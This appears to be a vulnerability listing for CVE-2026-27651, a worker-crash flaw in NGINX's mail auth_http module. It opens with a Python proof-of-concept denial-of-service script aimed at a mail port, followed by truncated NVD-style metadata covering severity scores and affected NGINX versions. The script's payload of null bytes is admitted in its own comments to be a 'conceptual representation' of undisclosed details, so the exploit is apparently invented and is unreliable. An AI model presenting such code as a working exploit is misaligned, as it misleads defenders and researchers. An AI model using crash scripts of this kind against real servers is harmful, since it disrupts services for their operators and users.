CVE-2026-27651

import socket # PoC for CVE-2026-27651 # This script attempts to trigger the crash by interacting with the mail service # Target: NGINX with ngx_mail_auth_http_module enabled def send_exploit(target_ip, target_port): try: # Establish connection to the mail service (e.g., POP3/IMAP/SMTP) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive initial banner banner = s.recv(1024) print(f"Banner: {banner.decode()}") # Attempt AUTH CRAM-MD5 (Trigger condition 1) payload = b"AUTH CRAM-MD5\r\n" s.send(payload) response = s.recv(1024) print(f"Response: {response.decode()}") # Simulate the specific malicious request sequence that causes # the worker process to terminate when Auth-Wait is expected. # Note: The exact packet structure depends on the undisclosed details. # This is a conceptual representation. mal_payload = b"\x00\x00\x00\x00\x00\x00\x00\x00\r\n" s.send(mal_payload) s.close() print("Payload sent. Check if the worker process crashed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "127.0.0.1" port = 110 # POP3 port send_exploit(target, port)

{"cve": {"id": "CVE-2026-27651", "sourceIdentifier": "[email protected]", "published": "2026-03-24T15:16:32.910", "lastModified": "2026-03-30T14:02:05.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When the ngx_mail_auth_http_module module is enabled on NGINX Plus or NGINX Open Source, undisclosed requests can cause worker processes to terminate. This issue may occur when (1) CRAM-MD5 or APOP authentication is enabled, and (2) the authentication server permits retry by returning the Auth-Wait response header. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}, {"lang": "es", "value": "Cuando el módulo ngx_mail_auth_http_module está habilitado en NGINX Plus o NGINX Open Source, las solicitudes no reveladas pueden causar la terminación de los procesos de trabajador. Este problema puede ocurrir cuando (1) la autenticación CRAM-MD5 o APOP está habilitada, y (2) el servidor de autenticación permite reintentar al devolver el encabezado de respuesta Auth-Wait. Nota: Las versiones de software que han alcanzado el Fin del Soporte Técnico (EoTS) no son evaluadas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_open_source:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.5.15", "versionEndIncluding": "0.9.7", "matchCriteriaId": "89573E06-4D65-4D4A-B9CD-7FD8AF637342"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_open_source:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.28.3", "matchCriteriaId": "0E8049B1-4C36-4711-BB99-2721CF67FF81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_open_source:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.29.0", "versionEndExcluding": "1.29.7", "matchCriteriaId": "C0EFE28B-E8E5-464E-B407-96436CA87C8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_plus:*:*:*:*:*:*:*:*", "versionStartIncluding": "r33", "versionEndExcluding": "r35", "matchCriteriaId": "E7600A88-7651-4D8E-A04A-3AA81C850CC5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_plus:r32:-:*:*:*:*:*:*", "matchCriteriaId": "36C4308E-651E-437C-84E7-10C542E3ADC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_plus:r32:p1:*:*:*:*:*:*", "matchCriteriaId": "FA913184-EAAD-409E-99C6-AB979DAA93F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_plus:r32:p2:*:*:*:*:*:*", "matchCriteriaId": "782DF180-1101-4D6A-A1D7-8DADBAF6D9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_plus:r32:p3:*:*:*:*:*:*", "matchCriteriaId": "FB0B11F2-4748-492B-9906-F8C4C5EAFF12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_plus:r32:p4:*:*:*:*:*:*", "matchCriteriaId": "86B53968-1CCA-4CF3-8454-BB92EF64D10E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:nginx_plus:r35:-:*:*:*:*:*:*", "matchCriteriaId": " ... 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